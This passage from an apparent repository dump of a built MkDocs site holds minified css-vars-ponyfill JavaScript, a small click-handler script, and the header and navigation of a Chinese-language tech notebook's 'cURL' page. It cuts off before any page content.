f=t.getAttribute(\"data-cssvars-group\")||++b.group,y=i.replace(/\\s/g,\"\"),g=s.rootElement.querySelector('[data-cssvars=\"out\"][data-cssvars-group=\"'.concat(f,'\"]'))||document.createElement(\"style\");h=h||E.cssKeyframes.test(i),s.preserveStatic&&(t.sheet.disabled=!0),g.hasAttribute(\"data-cssvars\")||g.setAttribute(\"data-cssvars\",\"out\"),y===t.textContent.replace(/\\s/g,\"\")?(o=!0,g&&g.parentNode&&(t.removeAttribute(\"data-cssvars-group\"),g.parentNode.removeChild(g))):y!==g.textContent.replace(/\\s/g,\"\")&&([t,g].forEach((function(e){e.setAttribute(\"data-cssvars-job\",b.job),e.setAttribute(\"data-cssvars-group\",f)})),g.textContent=i,p.push(i),v.push(g),g.parentNode||t.parentNode.insertBefore(g,t.nextSibling))}}else t.textContent.replace(/\\s/g,\"\")!==i&&p.push(i)}catch(e){a(e.message,t)}o&&t.setAttribute(\"data-cssvars\",\"skip\"),t.hasAttribute(\"data-cssvars-job\")||t.setAttribute(\"data-cssvars-job\",b.job)})),O=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars=\"out\"])').length,s.shadowDOM)for(var y,g=[s.rootElement].concat(t(s.rootElement.querySelectorAll(\"*\"))),S=0;y=g[S];++S)if(y.shadowRoot&&y.shadowRoot.querySelector(\"style\")){var C=e({},s,{rootElement:y.shadowRoot});k(C)}s.updateDOM&&h&&T(s.rootElement),A=!1,s.onComplete(p.join(\"\"),v,JSON.parse(JSON.stringify(w.job)),V()-s.__benchmark),i(v.length)}}}));else document.addEventListener(\"DOMContentLoaded\",(function e(t){k(r),document.removeEventListener(\"DOMContentLoaded\",e)}))}}function _(e){function t(e){var t=e.hasAttribute(\"disabled\"),r=(e.sheet||{}).disabled;return t||r}function r(e){return\"LINK\"===e.tagName&&-1!==(e.getAttribute(\"rel\")||\"\").indexOf(\"stylesheet\")&&!t(e)}function n(e){return Array.apply(null,e).some((function(e){var n=1===e.nodeType&&e.hasAttribute(\"data-cssvars\"),o=function(e){return\"STYLE\"===e.tagName&&!t(e)}(e)&&E.cssVars.test(e.textContent);return!n&&(r(e)||o)}))}window.MutationObserver&&(C&&(C.disconnect(),C=null),(C=new MutationObserver((function(t){t.some((function(t){var o,s=!1;return\"attributes\"===t.type?s=r(t.target):\"childList\"===t.type&&(s=n(t.addedNodes)||(o=t.removedNodes,Array.apply(null,o).some((function(t){var r=1===t.nodeType,n=r&&\"out\"===t.getAttribute(\"data-cssvars\"),o=r&&\"src\"===t.getAttribute(\"data-cssvars\"),s=o;if(o||n){var a=t.getAttribute(\"data-cssvars-group\"),c=e.rootElement.querySelector('[data-cssvars-group=\"'.concat(a,'\"]'));o&&(B(e.rootElement),w.dom={}),c&&c.parentNode.removeChild(c)}return s})))),s}))&&k(e)}))).observe(document.documentElement,{attributes:!0,attributeFilter:[\"disabled\",\"href\"],childList:!0,subtree:!0}))}function M(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:100;clearTimeout(x),x=setTimeout((function(){e.__benchmark=null,k(e)}),t)}function T(e){var t=[\"animation-name\",\"-moz-animation-name\",\"-webkit-animation-name\"].filter((function(e){return getComputedStyle(document.body)[e]}))[0];if(t){for(var r=e.getElementsByTagName(\"*\"),n=[],o=0,s=r.length;o<s;o++){var a=r[o];\"none\"!==getComputedStyle(a)[t]&&(a.style[t]+=\"__CSSVARSPONYFILL-KEYFRAMES__\",n.push(a))}document.body.offsetHeight;for(var c=0,i=n.length;c<i;c++){var u=n[c].style;u[t]=u[t].replace(\"__CSSVARSPONYFILL-KEYFRAMES__\",\"\")}}}function R(e,t){return(e.replace(E.cssComments,\"\").match(E.cssUrls)||[]).forEach((function(r){var n=r.replace(E.cssUrls,\"$1\"),o=D(n,t);e=e.replace(r,r.replace(n,o))})),e}function L(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=/^-{2}/;return Object.keys(e).reduce((function(r,n){return r[t.test(n)?n:\"--\".concat(n.replace(/^-+/,\"\"))]=e[n],r}),{})}function D(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:location.href,r=document.implementation.createHTMLDocument(\"\"),n=r.createElement(\"base\"),o=r.createElement(\"a\");return r.head.appendChild(n),r.body.appendChild(o),n.href=t,o.href=e,o.href}function V(){return y&&(window.performance||{}).now?window.performance.now():(new Date).getTime()}function B(e){Array.apply(null,e.querySelectorAll('[data-cssvars=\"skip\"],[data-cssvars=\"src\"]')).forEach((function(e){return e.setAttribute(\"data-cssvars\",\"\")}))}return k.reset=function(){for(var e in b.job=0,b.group=0,A=!1,C&&(C.disconnect(),C=null),O=0,x=null,j=!1,w)w[e]={}},k}));\r\n"
  },
  {
    "path": "docs/assets/js/index.js",
    "content": "if(location.pathname==\"/README/\"){\r\n    window.onload = function(){\r\n        Array.from(document.querySelectorAll(\"div.md-content > article > blockquote > ul > li\")).forEach(function(i){\r\n            i.onclick=function(){\r\n                i.parentNode.parentNode.previousElementSibling.children[0].click()\r\n            }\r\n        });\r\n    }\r\n}"
  },
  {
    "path": "docs/cURL/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../CDN/\">\n      \n      \n        <link rel=\"next\" href=\"../Favorites/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>cURL - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#curl\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              cURL\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          cURL\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        cURL\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    模拟浏览器请求\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    基本教程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    还可以循环哟\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget0bs\" class=\"md-nav__link\">\n    wget在0b/s时自动重连\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wget\" class=\"md-nav__link\">\n    wget限制单文件最大大小\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        